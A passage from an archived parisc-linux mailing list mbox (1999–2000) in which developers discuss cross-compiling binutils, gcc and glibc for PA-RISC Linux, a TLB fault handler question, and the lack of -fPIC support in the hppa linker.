someone just cut and pasted the directions for compiling on hpux
without modifiying them at all.  

Secondly, either files are missing from the binutils cvs tree that
prevent libtool/automake from constructing bfd.h and a libbfd.la,
or I'm missing tools or one of my tools is a lower version than
needed.

I've been trying to get myself off the ground for a while now,
off and on (Ran out of disk on my HPUX box, which was 9.x anyway
so it was a pain, then found out cross-compile from ALPHA just wasn't
going to happen no matter how much I tried to fix binutils, and now I
finally have an i386 in here and I can't cross-compile there either.)  
I want to work on some of the input and video code, but I pretty much
can't make any contributions unless I can get the kernel to compile, 
a precompiled kernel doesn't have any development value.  (Although 
it would be nice to try a newer precompiled kernel just for the fun of
actually getting a working sash, so whoever was going to post one, please 
do.)

I think if you guys want more people participating in the project,
it's pretty important to make sure that the web pages are kept up
to date and the recipe works.  Including a list of last known
compiling/working snapshots and minimum versions of all tools required
would be a big plus.

--
Brian S. Julin



From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recipe
Date: Wed, 28 Jun 2000 14:36:50 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
References: <Pine.LNX.4.21.0006270919200.16671-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618975 1163 80.91.229.3 (22 Nov 2014 01:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bri@mojo.calyx.net  Wed Jun 28 13:02:29 2000
Original-Received: from web10.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04158
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 13:02:29 -0600
Original-Received: (qmail 17753 invoked by uid 15267); 28 Jun 2000 19:03:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17625 invoked from network); 28 Jun 2000 19:03:32 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 28 Jun 2000 19:03:32 -0000
Original-Received: (qmail 25764 invoked from network); 28 Jun 2000 14:36:49 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (kesijjohbgdkgnrdh9tz@208.132.136.2)
  by mail.calyx.net with SMTP; 28 Jun 2000 14:36:49 -0400
In-Reply-To: <Pine.LNX.4.21.0006270919200.16671-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7470


On Tue, 27 Jun 2000, Alan Modra wrote:
> Agreed.  The list of modules is a bit out-of-date too.  You should be
> checking out the binutils-2.10 module, not binutils.

Hmmm... now I'll have to go back over to the ALPHA and see if things
suddenly work there....

> #make gcc
> mkdir pagcc
> cd pagcc
> /usr/src/parisc/gcc/configure --target=hppa1.1-linux --prefix=/usr/parisc \
>   --host=i586-linux --disable-nls --with-includes=/usr/parisc/include
> make

This needs to be "make LIBGCC2_INCLUDES=-I/usr/parisc/include" (on my
system at least, which is a Debian slink based Corel Linux 1.1 with slink
updates.)  The --with-includes didn't seem to do much, though
maybe I just didn't notice.  

The --{disable|without}-nls seems not to be necessary on (most?) Linux
systems.

Anyway, I now have my very own lifimage, thanks.  Here's knocking on
wood...

--
Brian


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What? no /bin/uname? :-)
Date: Wed, 28 Jun 2000 15:07:04 -0400 (EDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0006281503260.12561-100000@mojo.calyx.net>
References: <Pine.LNX.4.21.0006270919200.16671-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618975 1170 80.91.229.3 (22 Nov 2014 01:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bri@mojo.calyx.net  Wed Jun 28 13:12:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04501
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 13:12:38 -0600
Original-Received: (qmail 32248 invoked by uid 15267); 28 Jun 2000 19:13:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32193 invoked from network); 28 Jun 2000 19:13:46 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 28 Jun 2000 19:13:46 -0000
Original-Received: (qmail 7021 invoked from network); 28 Jun 2000 15:07:03 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (f0yd8jc40egmp7h22yyu@208.132.136.2)
  by mail.calyx.net with SMTP; 28 Jun 2000 15:07:03 -0400
In-Reply-To: <Pine.LNX.4.21.0006270919200.16671-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7471


A big and sincere thanks to everyone who's ever answered a question
of mine on this list -- I've finally and at long last got the sash
prompt!!

--
Brian S. Julin



From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recipe
Date: Thu, 29 Jun 2000 09:21:49 +1000 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006290913020.27908-100000@front.linuxcare.com.au>
References: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618976 1171 80.91.229.3 (22 Nov 2014 01:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: alan@linuxcare.com.au  Wed Jun 28 17:20:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA06107
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 17:20:54 -0600
Original-Received: (qmail 10269 invoked by uid 15267); 28 Jun 2000 23:22:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10191 invoked from network); 28 Jun 2000 23:22:04 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 28 Jun 2000 23:22:04 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA01630;
	Thu, 29 Jun 2000 09:21:49 +1000
In-Reply-To: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
Xref: news.gmane.org gmane.linux.ports.parisc:7472

On Wed, 28 Jun 2000, Brian S. Julin wrote:

> > /usr/src/parisc/gcc/configure --target=hppa1.1-linux --prefix=/usr/parisc \
> >   --host=i586-linux --disable-nls --with-includes=/usr/parisc/include
> > make
> 
> This needs to be "make LIBGCC2_INCLUDES=-I/usr/parisc/include" (on my
> system at least, which is a Debian slink based Corel Linux 1.1 with slink
> updates.)  The --with-includes didn't seem to do much, though
> maybe I just didn't notice.  

You're right.  I forgot.

> The --{disable|without}-nls seems not to be necessary on (most?) Linux
> systems.

--disable-nls turns off support for error/warning messages in languages
other than English.  If English is not your native language, you will want
--enable-nls.  (And turning the option on for native-English speakers
doesn't hurt.  It just adds a little code bloat)

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Picky details of TLB fault handlers
Date: Mon, 22 Mar 1999 13:09:26 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <199903221909.NAA01345@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618976 1178 80.91.229.3 (22 Nov 2014 01:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:16 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: helgaas@helgaaspc.rsn.hp.com  Mon Mar 22 14:09:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA07950
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 14:09:36 -0500
Original-Received: (qmail 29683 invoked by uid 15267); 22 Mar 1999 19:08:36 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 29676 invoked from network); 22 Mar 1999 19:08:35 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 19:08:35 -0000
Original-Received: from mailhost.rsn.hp.com (root@idiot.rsn.hp.com [15.99.200.11])
	by atlrel1.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id OAA11980
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 14:09:18 -0500 (EST)
Original-Received: from helgaaspc.rsn.hp.com (root@helgaaspc.rsn.hp.com [15.99.148.145])
	by mailhost.rsn.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id NAA27665
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 13:09:26 -0600 (CST)
Original-Received: from helgaaspc.rsn.hp.com (helgaas@localhost [127.0.0.1])
	by helgaaspc.rsn.hp.com (8.8.7/8.8.7) with ESMTP id NAA01345
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 13:09:26 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7473

>I'm right in assuming its legal to swap the return address - so the TLB
>handler can do a short piece of TLB handling for a present page miss,
>then stash the return into the kernel stack and rfi into the page fault handler
>so it will in turn return to the user context ?

Yes.


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chester@linux.org.tw
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] userland test failure
Date: Thu, 29 Jun 2000 11:28:26 +0800 (CST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006291108220.17571-100000@localhost.localdomain>
References: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618976 1180 80.91.229.3 (22 Nov 2014 01:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:16 +0000 (UTC)
Cc: chester@linux.org.tw
To: parisc-linux@thepuffingroup.com
Original-X-From: chester@linux.org.tw  Wed Jun 28 21:25:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA08104
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 21:25:37 -0600
Original-Received: (qmail 27365 invoked by uid 15267); 29 Jun 2000 03:26:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27311 invoked from network); 29 Jun 2000 03:26:40 -0000
Original-Received: from tlug.sinica.edu.tw (HELO linux.org.tw) (root@140.109.13.42)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 03:26:40 -0000
Original-Received: from localhost (chester@localhost)
	by linux.org.tw (8.9.3/8.9.3) with ESMTP id LAA18949;
	Thu, 29 Jun 2000 11:28:26 +0800
In-Reply-To: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
Xref: news.gmane.org gmane.linux.ports.parisc:7474

Hello ,
I have build the basic environment ,gcc, bintuils and glibc.
I download it from CVS ,and it builds very smooth.
(Thanks for your hack)
But when i compile a test program on it,i got some error:

-------(hello.c)
int main(void)
{
	printf("hello world");
	return 1;
}
--------
When i use hppa1.1-linux-gcc -g -o hello hello.c,it's fine.
(file hello ==> 
hello :ELF 32-bit MSB executable,PA-RISC, version 1,statically linked ,not
stripped)

But if i add -fPIC options,get

/tmp/cc4QxRpc.o : In function 'main'
/mnt/download/PA/hello.c:3: undefined reference to `$global$`
defaulting out
collect2: ld returned 1 exit status


BTW,i using this configure to configur my glibc,
./configure --preifix=/mnt/download/PA/pa-cross --disable-nls
--disable-sanity-checks --disable-shared --host=hppa1.1-linux
--target=hppa1.1-linux --build=i386-linux
--with-headers=/mnt/download/PA=pa-cross --without-nls --disable-profile

Is --disable-shared effect???



Thanks,
						Chester


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: Thu, 29 Jun 2000 14:44:30 +1000 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006291440280.27908-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.10.10006291108220.17571-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618977 1186 80.91.229.3 (22 Nov 2014 01:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: chester@linux.org.tw
Original-X-From: alan@linuxcare.com.au  Wed Jun 28 22:43:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA08946
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 22:43:39 -0600
Original-Received: (qmail 25629 invoked by uid 15267); 29 Jun 2000 04:44:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25565 invoked from network); 29 Jun 2000 04:44:50 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 04:44:50 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA15631;
	Thu, 29 Jun 2000 14:44:30 +1000
In-Reply-To: <Pine.LNX.4.10.10006291108220.17571-100000@localhost.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:7475

On Thu, 29 Jun 2000 chester@linux.org.tw wrote:

> But if i add -fPIC options,get
> 
> /tmp/cc4QxRpc.o : In function 'main'
> /mnt/download/PA/hello.c:3: undefined reference to `$global$`

-fPIC and -shared are not supported at the moment, even with the newer
binutils-2.10 module available from puffin CVS.  With binutils-2.10,
you'll get a different error if you compile with -fPIC, something like:
"cannot handle relocation R_PARISC_DLTIND21L for .LC0 at 0x28 in .text"

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chester@linux.org.tw
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: Thu, 29 Jun 2000 13:01:57 +0800 (CST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006291258380.19961-100000@localhost.localdomain>
References: <Pine.LNX.4.21.0006291440280.27908-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618977 1190 80.91.229.3 (22 Nov 2014 01:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:17 +0000 (UTC)
Cc: chester@linux.org.tw, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: chester@linux.org.tw  Wed Jun 28 22:58:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA09121
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 22:58:42 -0600
Original-Received: (qmail 17297 invoked by uid 15267); 29 Jun 2000 04:59:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17244 invoked from network); 29 Jun 2000 04:59:53 -0000
Original-Received: from tlug.sinica.edu.tw (HELO linux.org.tw) (root@140.109.13.42)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 04:59:53 -0000
Original-Received: from localhost (chester@localhost)
	by linux.org.tw (8.9.3/8.9.3) with ESMTP id NAA21468;
	Thu, 29 Jun 2000 13:01:57 +0800
In-Reply-To: <Pine.LNX.4.21.0006291440280.27908-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7476

Thanks,
Could you give me a hint to fix that(Maybe from source code),


				Chester


On Thu, 29 Jun 2000, Alan Modra wrote:

> On Thu, 29 Jun 2000 chester@linux.org.tw wrote:
> 
> > But if i add -fPIC options,get
> > 
> > /tmp/cc4QxRpc.o : In function 'main'
> > /mnt/download/PA/hello.c:3: undefined reference to `$global$`
> 
> -fPIC and -shared are not supported at the moment, even with the newer
> binutils-2.10 module available from puffin CVS.  With binutils-2.10,
> you'll get a different error if you compile with -fPIC, something like:
> "cannot handle relocation R_PARISC_DLTIND21L for .LC0 at 0x28 in .text"
> 
> Alan Modra
> -- 
> Linuxcare.  Support for the Revolution.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chester@linux.org.tw
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: Thu, 29 Jun 2000 13:12:29 +0800 (CST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006291309001.21585-100000@localhost.localdomain>
References: <Pine.LNX.4.10.10006291258380.19961-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618977 1194 80.91.229.3 (22 Nov 2014 01:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:17 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: chester@linux.org.tw
Original-X-From: chester@linux.org.tw  Wed Jun 28 23:09:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA09271
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 23:09:47 -0600
Original-Received: (qmail 2440 invoked by uid 15267); 29 Jun 2000 05:10:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2390 invoked from network); 29 Jun 2000 05:10:53 -0000
Original-Received: from tlug.sinica.edu.tw (HELO linux.org.tw) (root@140.109.13.42)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 05:10:53 -0000
Original-Received: from localhost (chester@localhost)
	by linux.org.tw (8.9.3/8.9.3) with ESMTP id NAA21676;
	Thu, 29 Jun 2000 13:12:29 +0800
In-Reply-To: <Pine.LNX.4.10.10006291258380.19961-100000@localhost.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:7477

I should describe my situation more clear!!
I have a pa-risc box that didn't have MMU in it.i need this compile option
-fPIC to test some program.
(My pa-risc box is 1.1 architecture without MMU and 902xx CPU)

Thanks,

On Thu, 29 Jun 2000 chester@linux.org.tw wrote:

> Thanks,
> Could you give me a hint to fix that(Maybe from source code),
> 
> 
> 				Chester
> 
> 
> On Thu, 29 Jun 2000, Alan Modra wrote:
> 
> > On Thu, 29 Jun 2000 chester@linux.org.tw wrote:
> > 
> > > But if i add -fPIC options,get
> > > 
> > > /tmp/cc4QxRpc.o : In function 'main'
> > > /mnt/download/PA/hello.c:3: undefined reference to `$global$`
> > 
> > -fPIC and -shared are not supported at the moment, even with the newer
> > binutils-2.10 module available from puffin CVS.  With binutils-2.10,
> > you'll get a different error if you compile with -fPIC, something like:
> > "cannot handle relocation R_PARISC_DLTIND21L for .LC0 at 0x28 in .text"
> > 
> > Alan Modra
> > -- 
> > Linuxcare.  Support for the Revolution.
> > 
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> > 
> 


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: Thu, 29 Jun 2000 15:17:13 +1000 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006291506560.27908-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.10.10006291258380.19961-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618977 1198 80.91.229.3 (22 Nov 2014 01:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: chester@linux.org.tw
Original-X-From: alan@linuxcare.com.au  Wed Jun 28 23:16:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA09409
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jun 2000 23:16:28 -0600
Original-Received: (qmail 13360 invoked by uid 15267); 29 Jun 2000 05:17:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13304 invoked from network); 29 Jun 2000 05:17:39 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 05:17:39 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA17033;
	Thu, 29 Jun 2000 15:17:14 +1000
In-Reply-To: <Pine.LNX.4.10.10006291258380.19961-100000@localhost.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:7478

On Thu, 29 Jun 2000 chester@linux.org.tw wrote:

> Could you give me a hint to fix that(Maybe from source code),

It needs more than just a hint and a tweak or two!  Support for -fPIC will
roughly double the amount of code in bfd/elf32-hppa.c  You will be much
better off compiling without -fPIC for the time being.  Expect a binutils
with -fPIC support in the next few weeks.

> On Thu, 29 Jun 2000, Alan Modra wrote:
> > -fPIC and -shared are not supported at the moment, even with the newer
> > binutils-2.10 module available from puffin CVS.  With binutils-2.10,

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: 29 Jun 2000 11:46:20 -0400
Organization: Linuxcare, Inc.
Lines: 15
Approved: news@gmane.org
Message-ID: <874s6csd6b.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0006291440280.27908-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618978 1201 80.91.229.3 (22 Nov 2014 01:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Thu Jun 29 09:45:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA14339
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Jun 2000 09:45:39 -0600
Original-Received: (qmail 29393 invoked by uid 15267); 29 Jun 2000 15:46:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29369 invoked from network); 29 Jun 2000 15:46:52 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 15:46:52 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 137gWC-0006M1-00; Thu, 29 Jun 2000 11:46:20 -0400
In-Reply-To: Alan Modra's message of "Thu, 29 Jun 2000 14:44:30 +1000 (EST)"
Original-Lines: 14
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7479

Alan Modra <alan@linuxcare.com.au> writes:

> -fPIC and -shared are not supported at the moment, even with the newer
> binutils-2.10 module available from puffin CVS.  With binutils-2.10,
> you'll get a different error if you compile with -fPIC, something like:
> "cannot handle relocation R_PARISC_DLTIND21L for .LC0 at 0x28 in .text"

Would I be correct in assuming that the GCC portion of supporting
-fPIC is more or less done, it's just that the linker can't handle the
relocations generated?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: 29 Jun 2000 12:16:48 -0400
Organization: The Debian Project
Lines: 11
Approved: news@gmane.org
Message-ID: <87ya3oqx73.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0006291440280.27908-100000@front.linuxcare.com.au> <874s6csd6b.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618978 1207 80.91.229.3 (22 Nov 2014 01:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Thu Jun 29 10:16:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA14814
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Jun 2000 10:16:21 -0600
Original-Received: (qmail 15944 invoked by uid 15267); 29 Jun 2000 16:17:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15647 invoked from network); 29 Jun 2000 16:17:20 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 16:17:20 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
